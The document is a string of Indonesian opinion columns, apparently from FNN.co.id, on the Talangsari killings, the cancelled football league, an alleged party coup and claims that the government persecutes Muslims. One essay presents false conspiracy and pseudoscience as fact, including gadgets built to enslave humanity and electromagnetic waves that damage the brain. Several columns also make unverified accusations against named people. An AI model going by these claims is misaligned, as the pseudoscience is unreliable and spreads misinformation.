Lurah Rajabasa Lama bernama Amir Puspamega, Kadus Talangsari bernama Sukidi, dan beberapa orang lagi menuju ke pondok pesantren Warsidi. “Kapten Sutiman mengendarai sepeda motor dan berada paling depan serta menembak ke arah pos jaga. Mendengar tembakan tersebut, sekitar 4 orang yang sedang tidur-tidur di pos jaga tersebut meneriakkan “Allahu Akbar”. Selanjutnya, jamaah yang berada di pondok keluar dan mengejar ke arah suara tembakan tadi. “Sepeda motor Kapten Sutiman terjatuh dan dia meninggalkan sepeda motornya dengan berlari mundur sambil terus menembak. Sedangkan, rombongan yang lain berbalik arah dan melarikan diri meninggalkan pondok. Dalam pelariannya, tidak jauh dari pondok, Kapten Sutiman dipanah oleh jamaah dan terkena di dada kiri dan dada kanannya dan akhirnya Kapten Sutiman tewas dalam kejadian tersebut.” Portal berita online TirtodotID pada 7 Februari 2018 menurunkan artikel “Mengenang Pembantaian Umat di Talangsari”. Berikut petikannya. “Tengah malam menjelang 7 Februari 1989, tepat hari ini 29 tahun lalu, Kolonel Hendropriyono memimpin pasukan yang terdiri 3 peleton Batalyon 143 dan satu peleton Brigade Mobil (Brimob). Pukul 04.00 tanggal 7 Februari 1989, pasukan menyerbu Umbul Cideung. Sebagaimana dilaporkan majalah Tempo edisi 18 Februari 1989, sebanyak 246 pengikut Warsidi tewas, termasuk Warsidi sendiri. “Komisi Orang Hilang dan Tindak Kekerasan (KontraS) menurunkan laporan terperinci yang berjudul Kertas Posisi KontraS: Kasus Talangsari 1989, Sebuah Kisah Tragis Yang Dilupakan. Laporan itu menyebutkan pasukan yang dipimpin Hendropriyono dilengkapi senjata modern M-16, bom pembakar (napalm), granat, dan dua buah helikopter yang membentengi arah barat. “Melihat penyerbuan terencana dan besar-besaran, dan tidak ada jalan keluar bagi jemaah untuk menyelamatkan diri, mereka hanya bisa membentengi diri dengan membekali senjata seadanya.” (TirtodotID). Publik terus menuntut agar pelanggaran HAM berat di Talangsari diselesaikan tuntas. Mereka mendesak agar orang-orang yang diduga terlibat, termasuk Danrem Kolonel Hendropriyono, yang kemudian menjadi jenderal dan terakhir menjabat sebagai kepala Badan Intelijen Negara (BIN), diadili di pengadilan HAM sesuai UU yang berlaku. Mantan Menkopolkam Sudomo (almarhum) diperiksa oleh Komnas HAM pada 27 Februari 2008. Menurut Sudomo, yang bertanggung jawab atas peristiwa Talangsari adalah Hendropriyono yang menjabat sebagai Danrem 043 waktu itu. Namun, pemerintahan yang silih berganti gagal menuntaskan kasus ini. Sebab, bisa dipahami, orang-orang seperti Hendropriyono tidak mudah untuk dibawa ke pengadilan. Bagaimanapun juga, Hendro adalah orang kuat yang memiliki pengaruh besar di Indonesia. Jadi, publik hanya bisa mendesak dan bertanya: mungkinkah Hendropriyono diadili?[] Penulis adalah Wartawan Senior FNN.co.id.

Liga Indonesia, Bak Jeruk Makan Jeruk

By Rahmi Aries Nova Jakarta, FNN - MESKI amat sangat terlambat, akhirnya, PSSI memutuskan membatalkan Musim Kompetisi 2020/2021 bagi Liga 1 yang baru berjalan 3 pertandingan (hingga pekan ke-2 Maret) dan Liga 2 yang belum sempat digelar. Kepastian pembatalan itu dihasilkan lewat Rapat Exco PSSI, Rabu (20/1) lalu. Terlalu jauh kalau membandingkan Liga Indonesia dengan liga-liga di belahan Eropa yang meski dihentikan karena pandemi Covid-19, tetapi kemudian dilanjutkan kembali dengan tanpa penonton dan pengawasan protokol kesehatan yang ketat. Kenyataannya, liga tetangga, Malaysia pun dapat menyelesaikan kompetisinya Desember 2020 lalu dan kini tengah bersiap memulai musim baru. Bandingkan dengan PSSI yang belum mengumumkan apakah musim ini bisa menggelar liga atau kembali menjadikan musim ini tanpa ada juara. Pada musim lalu, salah satu faktor penyebab gagalnya liga dilanjutkan adalah karena Ketua Umum PSSI Mochamad Iriawan alias Iwan Bule tidak berhasil 'melobi' Kapolri Idham Azis. Apakah musim ini, di saat Kapolri sudah berganti, kejadian serupa terulang lagi? Kalau Idham Azis memang tak memberi ruang gerak bagi Iwan Bule untuk bernegosiasi, apakah hal serupa juga akan dilakukan Listyo Sigit Prabowo, yang dilantik sebagai Kapolri akhir Januari lalu? Direktur Operasional PT Liga Indonesia Baru (LIB), yang ditunjuk sebagai operator liga, Sudjarno menyatakan, masih menunggu izin resmi dari Polri untuk Liga 1 2021. Sampai saat ini, pihaknya baru sebatas mendengar pernyataan dari kepolisian. "Alhamdulillah sudah ada pernyataan dari kepolisian. Semoga izin resmi dari Mabes Polri bisa lebih cepat," kata Sudjarno, Kamis (4/1). Sekali lagi baru pernyataan, belum terwujud dalam selembar surat resmi. Sudah menjadi rahasia umum kalau mendapat surat izin dari kepolisian untuk menggelar pertandingan sepakbola bukan suatu yang 'gratis'. Seorang pengurus klub mengaku harus menyiapkan budget Rp 200 juta sampai Rp 400 juta untuk mendapatkan 'izin' bertanding selain juga lobi yang kuat. Bisa dibayangkan nilainya kalau ini adalah ajang semusim penuh yang akan menggelar hingga ratusan pertandingan. Apa mungkin bisa 'gratisan'? Bagaimana mungkin Iwan Bule yang mantan Kapolda Metro Jaya tidak bisa menembus institusi yang membesarkannya? Atau, apakah ini drama 'Jeruk Makan Jeruk' ala Kepolisian Republik Indonesia? Wallahu alam... Penulis, wartawan senior FNN.co.id

Gadget Telah Memperbudak Manusia Sedunia

by Komisaris Jenderal Pol. Drs. Dharma Pongrekun, SH., M.M., M.H. Jakarta, FNN - Sudah setahun lamanya hampir seluruh dunia telah berada dalam keadaan yang diseragamkan oleh suatu kekuatan organisasi Non State Actor. Keadaan ini membuat hampir seluruh dunia berada dalam keadaan yang sangat memprihatinkan dalam segala aspek kehidupan, diakibatkan oleh adanya isu yang diseragamkan secara massive dengan mengambil thema tertentu yang telah membuat hampir seluruh dunia seolah tak berdaya serta mengalami kebuntuan di dalam menghadapinya. Namun sadarilah bahwa semua yang sedang terjadi ini sebenarnya adalah potongan-potongan puzzle dari Grand Design yang sudah dipersiapkan dengan sangat matang melalui strategi yang sangat jitu, karena Terstruktur, Sistematis dan Massive (TSM) sekali, sehingga hampir tidak satupun diantara kita yang menyadari pergerakan yang terjadi dan akhirnya kita semua terperangkap di dalam permainan dari organisasi tersebut beserta underbow-nya. Padahal kalau saja kita mau menelaah dengan seksama dan hati yang jernih, maka kita akan melihat benang merahnya dengan sangat jelas, bahwa sesungguhnya ada sutradara dibalik layar bagaikan suatu skenario dari film-film yang sering kita saksikan di layar lebar, dimana akhir dari pada ceritanya dengan mudah dapat kita tebak. Didahului dengan prakondisi yang sangat cerdas melalui Gadget sebagai Artificial Inteliigence (alat pengintai) namun dengan motivasi yang sangat licik seperti ular, mengingatkan pada pepatah kuno yang tidak pernah usang yakni “bagaikan musang berbulu domba”. Mereka begitu cerdik menutupi “motivasi jahatnya” dibalik agenda besarnya bagaikan “udang dibalik batu” dengan tujuan memperbudak manusia di seluruh dunia dengan cara memainkan kejiwaan manusia lewat program alam bawah sadar untuk menguasai kejiwaan manusia dan akhirnya dengan sangat mudah mindset manusia dimanipulasi, sehingga tanpa disadari jiwa manusia sudah dikendalikan dan akhirnya menjadi budak. Motivasi itu merupakan salah satu unsur yang ada dalam jiwa manusia, sehingga sulit dibuktikan secara materiil sebagaimana metode pembuktian yang dianut oleh dunia yaitu sesuatu dinyatakan terbukti jika dapat dilihat dengan mata atau dijelaskan dengan logika sains, sementara logika sains sendiri memang sengaja diprogram agar tidak sampai memahami beyond scientific yang berkaitan dengan hal-hal immaterial, karena logikanya sudah diprogram hanya untuk memahami apa yang dapat dilihat dan dihitung saja. Ketahuilah juga bahwa sejak adanya Gadget atau Smart Phone atau Cellular Phone 10 (sepuluh ) tahunan lebih yang lalu, disitulah mulai lmaraknya istilah Hoax, Hate Speech dan Bully bermunculan. Sebenarnya inilah cara mereka membangun pemahaman yang nantinya akan mereka jadikan senjata makan tuan bagi kita semua juga termasuk semua perangkat yang ada pada Gadget tersebut seperti kamera yang selama ini tanpa kita sadari selalu memata-matai kita demikian pula dengan GPS nya, bahkan Google dan aplikasi yang menjadi platformnya untuk memuluskan terwujudnya motivasi jahat mereka. Gadget selama ini dikenal sebagai Artificial Intelligence (AI) yang sengaja diartikan sebagai kecerdasan buatan untuk memanipulasi pemahaman kita, agar manusia tidak menyadari bahwa gadget yang selalu melekat ditangan kita setiap hari sesungguhnya adalah teknologi pengintai yang digunakan oleh mereka sebagai pengganti manusia seperti pada saat perang fisik dulu untuk menyusup ke wilayah musuh dan mengintai kondisi kekuatan dan kelemahan lawan demi mendapatkan informasi yang sebanyak-banyaknya untuk digunakan dalam mempersiapkan penyerangan pada saat yang tepat. Jadi Gadget ini juga sekaligus digunakan untuk memanipulasi pola pikir (mindset) kita, karena opini yang dibangun adalah untuk memanjakan manusia dengan kemudahan, kecepatan dan kenyamanan yang akan membuat kita terlena dan terjebak dalam zona nyaman ( comfort zone), sehingga kita tidak menyadari lagi bahwa sebenarnya gadget itu adalah alat pengintai untuk menguasai kejiwaan manusia. Jadi Gadget ini adalah tehnologi pengintai yang digunakan pada perang non-fisik saat ini. Ingatlah kata-kata “ Siapa yang menguasai informasi, dia yang akan menguasai Dunia “. Bagaimana cara kerjanya? Alat pengintai tersebut akan bekerja dengan algoritmanya untuk mempelajari sekaligus mendata karakter manusia individu per individu berdasarkan SWOT (strengths, weaknesses, opportunities) Analysis (dipelajari kekuatan dan kelemahan manusia, lalu melihat peluang yang dapat dimanfaatkan dan tantangan yang akan dihadapi), sehingga tanpa disadari oleh kita sebagai objeknya, maka mereka akan dengan mudah memprogram manusia lewat alam bawah sadarnya dengan opini-opini yang sudah disiapkan untuk disusupkan melalui konten-konten dan aplikasi-aplikasi yang selalu dibuat menarik agar kita terhipnotis dengan cara merasionalisasi sesuatu melalui visual seolah-olah kita sedang berada dalam kehidupan nyata. Padahal ini adalah ruang kehidupan semu, sehingga sama sekali tidak kita sadari apa dampaknya dikemudian hari, karena mereka sangat lihai menyembunyikan motivasinya, bahwa dibalik semua kecanggihan teknologi tersebut sesungguhnya terdapat udang dibalik batu berupa agenda besar yang tidak terbantahkan, yakni untuk menguasai mindset dan merusak potensi sel setiap manusia yang pada akhirnya alat pengintai tersebut mengetahui bagaimana cara untuk menaklukan manusia agar dapat dikontrol sepenuhnya dan akhirnya dapat diperbudak. Hal tersebut tidak saja akan melumpuhkan bangsa kita, tetapi seluruh manusia di muka bumi ini ingin mereka perbudak. Bagaimana cara memprogramnya? Yakni dengan reprogram alam bawah sadar manusia dengan mengulang-ulangi secara terus menerus (repetition), sehingga menjadi sedimen (endapan) di dalam alam bawah sadar kita yang direkam oleh sel-sel di dalam tubuh manusia seperti pita kaset sampai terbentuk kejiwaan manusia sesuai agendanya, sangat mudah bukan? Mereka memulainya dengan cara yang sangat cerdik, karena menawarkan kemudahan, kecepatan/instan, kenyamanan dan kemewahan yang merupakan hal yang memanjakan manusia, menjadi suatu kebiasaan agar manusia hidup dalam ketergantungan dan akhirnya terlena dengan tujuan agar manusia menjadi lemah dan tak berdaya. Perhatikanlah bahwa segala sesuatu yang dipromosikan selalu hanya tentang manfaatnya saja, sedangkan dampak yang merusaknya sengaja disembunyikan agar motivasi jahatnya tidak terselami, makanya tidak pernah mereka ekspose, karena kalau diekspose sejak awal, tidak akan ada yang mau menggunakannya. Tujuannya adalah supaya penggunanya mudah untuk dijerat. Hanya setelah banyak yang mengalami dampak buruk dari kerusakan yang dialami barulah mulai berpikir cara untuk mengatasinya, namun sudah sulit untuk keluar lagi, karena sudah masuk dalam jeratannya. Jadi cara kerja mereka itu bagaikan sarang laba-laba yang tersamar, sehingga membuat serangga lain terjerat. Sadarilah bahwa gadget adalah teknologi yang dengan sengaja dirancang khusus dengan motivasi dari pembuatnya untuk memperbudak manusia dibawah kontrol mereka dengan permainan alam bawah sadar yang terlebih dahulu merusak otak manusia dengan gelombang elektromagnetik-nya yang merusak 5 bagian otak sekaligus tanpa disadari, karena tidak terlihat. Ketahuilah bahwa otak manusia adalah pikiran sadar (conscious) merupakan prosesor yang mensupply data/informasi yang akan diterima oleh sel-sel tubuh yang kemudian akan diolah dan siap untuk disajikan dalam bentuk pikiran dan perasaan, sehingga terciptalah motivasi pada jiwa manusia untuk melakukan atau tidak melakukan sesuatu yang dipikirkan dan dirasakannya berdasarkan sensor yg ada. Penanaman doktrin pada manusia adalah dengan cara memprogram pikiran dengan melakukan pengulangan/repetisi dari sesuatu hal yang menjadi agenda dari si pembuat program terhadap manusia dengan cara membangun opini lewat imajinasi yang divisualisasikan lewat alat visualisasi sekaligus Artificial Intelligence (A=1 I=9) sebagai alat yang memata-matai perilaku manusia dengan cara menawarkan hal-hal yang mengasyikan, sehingga menjadi candu dan akhirnya manusia mudah diperbudak oleh doktrin yang ditanamkan. Ini adalah permainan alam bawah sadar yang membuat manusia tanpa sadar mudah diadu domba mengikuti skenario dari si pembuat program. Jadi cara untuk mengendalikan manusia adalah dengan cara kita dibuat tergantung terhadap segala sesuatu yang dianggap dibutuhkan oleh tubuh jasmani dengan cara memanipulasi/merekayasa jiwa yang fitrah (kudus) dengan hal-hal yang tidak fitrah, sehingga jiwa akan dengan mudah dikendalikan oleh kekuatan yang tidak fitrah ( tidak kudus). Kalau tidak ada rekayasa, maka otak kita akan memerintahkan hal yang baik dan diterima oleh sel, sel itu akan mengolah data/informasi yang dikirim oleh prosesor, setelah itu sel mulai bekerja merespon good signal yang dikirim oleh prosesor dan dia akan memproduksi hormon yang baik. Hasil olahan tersebut akan membentuk jiwa (pikiran dan perasaan) dan akan menghasilkan perbuatan yang positif sesuai dengan hasil olahan tersebut, maka motivasi yang muncul pun akan baik dan benar, karena potensi selnya maksimal, sehingga akan terefleksi pada tubuh. Sebenarnya tubuh kita ini hanyalah sebagai media, di dalam tubuh kita ini terdapat sel-sel tubuh, yang berperan sebagai sentral/ inti dari aktifitas kehidupan kita, yaitu menjadi transmitter dan sekaligus receiver yang digerakkan oleh gelombang/frekwensi. Sel-sel tubuh akan menerima (receiver) stimulus/rangsangan dari otak yang kemudian akan diolah menjadi data/informasi untuk menentukan bentuk/macam/jenis responnya, lalu dikirim (transmitter) dan akan terpancar keluar melalui frekwensi yang akan diterima oleh tubuh manusia sebagai medianya. Inilah yang disebut body inteligent, dimana sel-sel tubuh kita akan mengirimkan alert berupa frekwensi yang teresonansi pada tubuh kita dan tubuh kita akan mengikutinya secara otomatis. Ketahuilah bahwa pertahanan sel inilah yang selalu diserang untuk dihancurkan lewat program alam bawah sadar tersebut karena sel-sel tubuh berfungsi menerima informasi berupa dara untuk di olah lalu disajikan kembali seperti teori “garbage in garbage out”, sehingga terbentuklah jiwa ( pikiran, perasan dan kehendak) sesuai yang diprogram oleh pembuatnya. Sel inilah kunci dari pertahanan imunitas manusia. Kalau Selnya rusak akibat stress yang bertubi-tubi, maka imunitas akan melemah dan tubuh jasmani kita akan merefleksikan apa yang terjadi di dalamnya. Jadi kuncinya setiap penyakit yang kita derita adalah akibat rusaknya sel-sel tubuh!!! Sel inilah adalah inti dari kehidupan manusia hidup yang merupakan ciptaan Tuhan Yang Maha Kuasa, dimana mekanisme bekerjanya sel dalam tubuh manusia yang berinteraksi melalui gelombang frekwensii telah menjadi inspirasi yang ditiru oleh penggagas Dunia Cyber dengan motivasi tersembunyinya yakni untuk menundukkan manusia di dunia dan menjadi budaknya. Kiranya tulisan ini dapat menyadarkan kita semua yang selama ini tidak menyadari, bahwa kita sudah masuk dalam jebakan dari program alam bawah sadar ( Sub Consious). Penulis adalah Wakil Kepala Badan Siber dan Sandi Negara (BSSN) dan Mantan Direktur Narkoba Bareskrim Polri (2015)

Kabut Hitam Istana, Presiden Harus Bersikap

by Mochamad Toha Surabaya, FNN - Direktur The Global Future Institute Prof. Hendrajit mencermati “Kudeta Demokrat” yang dilakukan KSP Moeldoko atas Ketum DPP Partai Demokrat Agus Harymurti Yudhoyono (AHY) yang sedang berlangsung tersebut sebagai “Drama”. “Drama ini justru mempertunjukkan bahwa semua yang bermain sebagai protagonis maupun antagonis dalam cerita ini, sejatinya berada dalam satu barisan. Berarti, kepada siapa drama ini sesungguhnya diarahkan? Berarti ada barisan lain yang sedang diganggu,” ujarnya. Diamnya Presiden Joko Widodo setelah konpres AHY dan Moeldoko, berarti sudah sesuai arahan dan skrip cerita. Menunggu SBY masuk pentas. “Sebab, kalau benar kudeta seperti kita bayangkan, istana pasti langsung membuat konpres,” lanjut Hendrajit. “Kalau sudah jalur Pratikno atau Pramono yang langsung membuat bantahan, sudah cukup untuk mematahkan pandangan adanya kaitan antara Moeldoko dan Istana,” ujarnya. Dan, “Menarik kesimpulan: manuver Moeldoko bersifat pribadi dan tak ada kaitan sama Istana.” Gimanapun juga, jantung lingkar kekuasaan Jokowi itu terletak di Pratikno dan Pramono. Bukan di KSP. Prof. Dr. Drs. Pratikno, MSoc.Sc. adalah Menteri Sekretaris Negara. Dr. Ir. Pramono Anung Wibowo, MM adalah Sekretaris Kabinet Indonesia. Akhir drama nantinya, SBY bertemu Jokowi, yang difasilitasi Moeldoko. Dengan tema sentral: Klarifikasi dan pelurusan. “Setelah itu ada kesepakatan tak tertulis, perubahan formasi politik yang saling menguntungkan. Formasi lama diubah dan disesuaikan,” kata Hendrajit. Semua happy. Cerita selesai. Jadi, misinya cuma ganggu-ganggu dan goyang-goyang Jokowi saja. Dalam politik berkhianat tapi beralih pihak hal lumrah. Tapi, di dunia timur kalau sudah cium tangan, nggak mungkin khianat. Ibarat bapak dan anak buah. Ibarat kiai dan santrinya. Patron-Client. Biasanya dalam kemiliteran itu, hal seperti ini kesetiaanya melampaui masa tugasnya di kemiliteran. Melampaui hubungan atasan dan bawahan dalam hirarki dan mata rantai komando di militer. “Jadi kalau ada pertunjukkan atau permainan panggung, pasti ada skrip dramanya. Dan untuk nyusun skrip cerita? SBY lah ahlinya,” ungkap Hendrajit. Sekadar informasi. Saat Moeldoko Komandan Brigif Jakarta-Pusat Kodam Jaya, SBY Kasdam Jaya, Pangdam Jaya Sutiyoso. Benarkah analisis Profesor Hendrajit tersebut? Bisa benar, bisa juga salah! Pasalnya, Susilo Bambang Yudhoyono (SBY) rasanya tidak ikut “bermain” drama Kudeta Demokrat seperti yang dilakukan Moeldoko secara terbuka dan “kasar”. Pasti senyap, halus, dan cantik! Manuver Moeldoko sebagai pejabat Lingkar Istana Negara, jelas sangat merugikan Presiden Jokowi. Karena, petinggi dan pengurus daerah Partai Demokrat pasti menyangka gerakan yang mengusik kepemimpinan AHY tersebut “direstui” Presiden Jokowi. Apalagi, Moeldoko juga menyebut, pertemuan serupa juga pernah “dilakukan” Luhut Binsar Pandjaitan, Menko Kemaritiman dan Investasi. Penyebutan nama Luhut itu bisa memperkuat dugaan, Istana terlibat rencana Kudeta Demokrat tersebut. “Pak LBP juga pernah cerita kepada saya, “Saya juga pernah didatangi oleh mereka-mereka. Ya saya juga sama”,” ujar Moeldoko menirukan ucapan Luhut saat memberikan keterangan pers di kediamannya di Jl Terusan Lembang, Rabu (3/2/2021). Ketika memberikan keterangan dalam jumpa pers itu, Moeldoko tampak grogi dan gugup. Ia tampak tidak siap dengan skenario gagal Kudeta Demokrat. Dikiranya semua bakal berjalan mulus. Demokrat melawan. AHY kirim surat ke Presiden Jokowi. Akun Twitter@DalamIstana mengungkap, Presiden Jokowi ngamuk setelah baca surat AHY. Dia memanggil Kakak Pembina. Marah habis-habisan. “Segera beresin semua kalau gak mau dicopot!” kata Jokowi saking marahnya. Kakak Pembina yang dimaksud itu adalah Moeldoko. “Akhirnya permufakatan jahat Kakak Pembina terbongkar juga. Seluruh tim langsung panik,” tulis Twitter@DalamIstana. Jokowi wajar ngamuk. Karena, Karena efek kesembronoan Kakak Pembina sudah merembet ke mana-mana. Golkar, Partai Berkarya, dan PPP sudah balik memanas. Kalau Kakak Pembina sampai kalah, mereka sudah ancang-ancang “mari rebut kembali”. Tokoh Golkar Aburizal Bakrie sudah bikin ancang-ancang di Golkar. Sudah ada kader yang diutus untuk ketemu Jusuf Kalla. Humprey Djemat yang kader-kadernya tidak diakomodir Suharso Moarfa sedang menyusun kekuatan. Begitu juga Hutomo Mandala Putra alias Tommy Suharto yang dikudeta dari Partai Berkarya. Gerindra tak mungkin dikudeta karena figur Prabowo Subianto terlalu kuat dan sangat solid. Apalagi, Ketum DPP Gerindra ini menjadi bagian dari Pemerintahan. Selain Prabowo Subianto sebagai Menteri Pertahanan, ada Sandiaga Salahuddin Uno ditunjuk menjadi Menteri Pariwisata dan Ekonomi Kreatif dalam Pemerintahan Presiden Jokowi dan Wapres Ma’ruf Amin. Jadi, Gerinda masih aman, tak mungkin “disentuh”. Yang selama ini di luar Koalisi Jokowi adalah PKS dan Demokrat. Tapi, rupanya, khususnya terhadap PKS, mereka tak sanggup menggoyang Mohamad Sohibul Iman semasa menjabat Presiden PKS. Kini posisinya digantikan Ahmad Syaikhu. Satu-satunya parpol potensial yang masih bisa “digoyang” tinggal Partai Demokrat. Mereka pun mulai menggarap Demokrat dengan meluncurkan isu kepemimpinan AHY. Moeldoko menjadi “operator” lapangan, yang kemudian gagal. Nazaruddin dan Johny Allen Marbun menghubungi ketua-ketua DPC. Untuk bikin isu kalau Demokrat tidak solid, mereka mau beri dana Rp 100 juta cash kalau ada Ketua DPC yang mau menjelek-jelekkan AHY. Biaya konferensi pers mereka yang tanggung. Tapi ternyata tak ada satupun yang mau. Semua Ketua DPC dan DPD Demokrat tetap solid mendukung AHY. Nazaruddin dan Johny Allen Marbun tambah jadi Rp 150 juta, tetap tak ada yang mau. Akhirnya Nazaruddin dan Johny Allen Marbun pakai orang-orang lama. Mereka yang sudah tak aktif, bahkan sudah keluar dari Demokrat. Diiming-imingin sama Rp150 juta buat yang mau ngomong. Darmizal dan Ahmad Yahya dan lain-lain. Mereka bilang ada 4 faksi yang ingin kudeta AHY. Yaitu: Faksi Marzuki Ali, Faksi Anas Urbaningrum, Faksi Subur Budhisantoso, dan Faksi Kakak Pembina (Moeldoko). Mereka ternyata tidak konfirmasi dulu terhadap nama-nama yang disebut itu. Anas, Subur, dan Marzuki marah karena nama mereka dicatut! Praktis kini tinggal Faksi Moeldoko. Mereka makin panik. Twitter@DalamIstana menulis, mereka paham, era Jokowi sudah senjakala. Kekuatan Jokowi makin lama-makin lemah seiring Covid-19 tembus sejuta dan ekonomi hancur. Rakyat mulai marah pada Jokowi. Sekarang saatnya balas dendam dan mempersiapkan Pilpres 2024. Target Ical dan JK bersatu mau tarik Golkar keluar koalisi pemerintah. Humprey Djemat juga demikian, kader-kader PPP sadar kalau terus di ketek pemerintah pas rakyat lagi kecewa, PPP bisa tidak dapat kursi di Senayan 2024 nanti. Kalau Golkar dan PPP sampai kabur, strategi Jokowi untuk memastikan kemenangan PDIP via pejabat Kepala Daerah yang dikondisikan oleh Mendagri Tito Karnavian lewat menolak Pilkada 2022 dan 2023 bakal makin sulit. JK mau memastikan Anies Baswedan bisa tetap punya panggung sampai 2024. Ical sudah setuju. Moeldoko tak bisa ngomong apa-apa. Ini pertaruhan buat Moeldoko. Kalau dia gagal karier politiknya tamat. Tanpa jabatan KSP, dia bukan apa-apa. Makanya, gantian Moeldoko yang ngamuk-ngamuk ke Nazaruddin dan Johny Allen Marbun. Max Sopacua dan Marzuki Alie yang cuma ikut-ikut langsung kabur sambil coba cuci tangan. Belakangan ada kabar, Moeldoko juga seret PDIP dalam pusaran Kudeta Demokrat. Melihat adanya “keterlibatan” Moeldoko dan diseretnya nama Luhut serta PDIP dalam rencana Kudeta Demokrat ini, Presiden Jokowi harus bersikap tegas dan bijak! Jika terbukti gerakan mereka ini ternyata dapat “restu” Jokowi, rakyat bisa marah besar! Ditambah lagi, ada banyak kasus yang membuat rakyat kecewa dengan penegakan hukum! Selain masalah ekonomi yang terpuruk dengan menumpuk ribuan triliun, perlakuan penegak hukum yang diskriminatif terhadap ulama bisa memicu Revolusi Sosial. Sikap Presiden yang memerintahkan kasus tewasnya 6 Laskar FPI oleh polisi diselesaikan secara hukum dengan transparan dan adil, sangatlah tepat. Kapolri Jenderal Listyo Sigit Prabowo harus bisa membaca perintah Presiden ini! Dengan adanya perintah Presiden itu, seharusnya Jenderal Listyo segera mengambil langkah-langkah penting. Salah satunya yang penting dan mendesak, mencopot Kapolda Metro Jaya Irjen Fadil Imran. Kita lihat saja nanti, apakah perintah Presiden Jokowi itu “didengar” dan dieksekusi Jenderal Listyo. Jika tidak didengar, berarti Jokowi memang bukan siapa-siapa! Jokowi hanya seorang Presiden yang dikendalikan oleh kekuatan “Oligarki” semata. Jangan salahkan rakyat juga jika kemudian muncul desakan agar Jokowi mundur dan rakyat minta supaya Pilpres dipercepat, seperti masa transisi dari Presiden BJ Habibie! Penulis adalah Wartawan Senior FNN.co.id.

Rezim Menzalimi Umat Islam?

by M. Rizal Fadillah Bandung FNN – Rezim ini seperti berlebihan, tetapi sebenarnya tidak. Namun patut menjadi bahan renungan, apakah rezim Jokowi memang sedang menzalimi umat Islam? Tentu saja harus berdasarkan indikasi-indukasi sosial politik yang sedang dirasakan oleh umat Islam. Meskipun demikian, wajar juga apabila tidak semua umat Islam dapat merasakannya. Aada lima indikasi yang mengarah. Pertama, penangkapan dan penahanan terhadap Habib Rizieq Shihab (HRS) yang jelas-jelas dan nyata "dipaksakan dan dicari-cari" kesalahan. Ada segudang tuduhan yang dialamatkan kepada HRS. Apakah HRS adalah salah satu tokoh umat Islam? Jawabannya pasti iya. Bahkan HRS adalah tokoh umat Islam terdepan dalam mengkritik dan mengoreksi berbagai beijakan pemerintah yang merugikan rakyat. Karena kebijakan pemerintah merugikan rakyat, maka otomatis juga merugikan Umat Islam. Itu pasti. Tidak perlu diperjelas lagi apa penyebabnya. Makanya penzoliman kepada HRS satu paket dengan pembubaran dan pelarangan Front Pembela Islam (FPI) yang tercatat telah berbuat banyak untuk kepentingan umat Islam. Sebelumnya HTI lebih dulu dibubarkan. Kedua, pembunuhan terhadap enam anggota laskar FPI yang mengawal HRS dan keluarga di kilometer 50 tol Jakarta-Cikampek (Japek),dalam perjalanan dari sentul menuju karawang. Pembunuhan yang terkesan diproteksi oleh rezim yang berkuasa. Sehingga pengungkapan dan tindak lanjut kasus ini juga menjadi bertele-tele, tidak serius, dan penuh konspiratif. Padahal berdasarkan hasil penyelidikan yang dilakukan oleh Komisi Nasional Hak Asasi Manusia (Komnas HAM) telah ditemukan adanya pelanggaran HAM. Untuk perkara yang sangat mudah saja, seperti siapa petugas kepolisian yang menembak keempat anggota laskar FPI, teryata sampai sekarang tak terungkap. Aneh juga. Kasus ini merupakan pelanggaran HAM berat terhadap bagian dari perjuangan keumatan. Ketiga, penangkapan dan penahanan Zaim Saidi dengan tuduhan penggunaan mata uang selain rupiah dalam bertransaksi di Pasar Muamalah. Semangat Zaim adalah inovasi dalam berekonomi syari'ah. Tidak ada unsur penipuan (gharar), spekulasi (maisir), dan rente (riba). Upaya untuk berekonomi mendekati Nubuwah. Jika dinilai ada masalah dengan perundang-undangan, maka selayaknya dilakukan pendekatan persuasif terlebih dahulu. Klarifikasi dan edukasi. Keempat, eksploitasi dana umat Islam, baik itu haji, zakat, maupun wakaf. Masyarakat muslim masih mempertanyakan penggunaan dana haji, zakat, dan terakhir wakaf uang yang dicanangkan Menkeu untuk digunakan sebagai sumber pembiayaan pembangunan infrastruktur. Masyarakat Ekonomi Syari'ah berubah menjadi "lembaga politik" yang diisi personal yang tidak kompeten. Kelima, tuduhan terorisme, radikalisme, dan ekstrimisme yang ditujukan kepada simbol yang ke Islam-Islaman. Pengaturan, baik melalui UU maupun Kepres serta kebijakan politik yang dialokasikan melalui berbagai Kementrian terarah kepada umat Islam. Pelumpuhan kekuatan keumatan dengan isu terorisme, radikalisme, ekstrimisme tersebut menjadi nyata adanya. Disamping itu tersebut penahanan terhadap tokoh dan aktivis umat dengan berbagai alasan juga memperkuat indikasi kezaliman. Gus Nur, Maheer, Bahar Smith, Syahganda, Jumhur, Anton, dan aktivis Koalisi Aksi Menyelamatkan Indonesia (KAMI) di berbagai daerah lainnya. Sedangkan para "penyerang umat" seperti Denny Siregar, Armando Armando, dan Abu Janda sebaliknya sangat sulit untuk diproses hukum, meski telah bertumpuk laporan dugaan pelanggaran hukumnya. Surat Keputusan Bersama (SKB) Menteri Dalam Negeri, Menteri Pendidikan dan Menteri Agama yang berhubungan dengan seragam atribut keagamaan juga sangat jelas tendensius. Isi SKB yang sangat menyinggung umat Islam. Prof. Greg Fealy dari Australian National University menyatakan rezim Jokowi represif terhadap umat Islam. Represi negara dapat terjadi dalam berbagai bentuk kepada Pegawai Negeri, akademisi, guru yang masuk dalam ruang-ruang pantauan. Bahwa pada setiap rezim ada tindakan diskriminatif terhadap umat Islam mungkin benar, akan tetapi rezim Jokowi nampaknya paling tinggi tingkat represivitas dan kezalimannya. Entah apakah karena kedekatan dengan pemerintahan Cina yang komunis atau faktor lain penyebabnya. Semua dapat dianalisis tuntas setelah Pemerintahan Jokowi usai. Penulis adalah Pemerhati Politik dan Kebangsaan.

USU Pasca-Pelantikan Rektor Muryanto Amin (Bagian-3)

